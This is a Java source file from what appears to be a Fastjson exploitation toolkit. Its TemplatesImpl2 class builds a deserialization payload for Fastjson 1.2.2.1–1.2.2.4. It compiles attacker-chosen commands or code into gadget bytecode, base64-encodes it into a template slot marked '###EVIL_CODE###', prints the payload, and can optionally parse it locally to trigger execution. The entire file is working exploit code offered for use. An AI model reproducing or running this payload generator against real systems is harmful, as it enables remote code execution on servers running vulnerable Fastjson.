package payloads;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import gadget.Gadget;
import org.apache.commons.codec.binary.Base64;
import payloads.annotation.Dependencies;
import payloads.annotation.PayloadType;
import payloads.annotation.VulVersion;
import util.JarFileReader;

import static util.Util.isExpression;

@PayloadType({PayloadType.LOCAL})
@Dependencies({"xalan:xalan:2.7.2(need Feature.SupportNonPublicField)"})
@VulVersion({"1.2.2.1-1.2.2.4"})
public class TemplatesImpl2 implements ObjectPayload {

    @Override
    public void process(String[] args) {
        if(args.length != 2 && args.length != 3){
            System.out.println("[*] Usage: java -jar FastjsonExploit-[version].jar TemplatesImpl2 [\"cmd:xxx|code:xxx\"]");
            return;
        }

        String expression = args[1].trim();
        if(!isExpression(expression)){
            System.out.println("[*] Expression:" + expression +  "format error！ eg: \"cmd:calc\" or \"code:custom_code.java\"");
            return;
        }

        //Setp01: 生成exploit bytecode
        byte[] byteCode = Gadget.getTemplatesImpl2ExpCode(expression);

        //Setp02:生成payload
        String base64Code = Base64.encodeBase64String(byteCode);
        JarFileReader jarFileReader = new JarFileReader();
        String payload = jarFileReader.read("TemplatesImpl2.tpl");
        payload = payload.replace("###EVIL_CODE###",base64Code);
        System.out.println("[*] payload build success!");
        System.out.println("");
        System.out.println(payload);
        System.out.println("");

        //Setp03:本地测试解析
        if(args.length == 3 && args[2].equals("-exec")){
            System.out.println("[*] Try local parsing");
            ParserConfig config = new ParserConfig();
            JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);
        }
    }
}
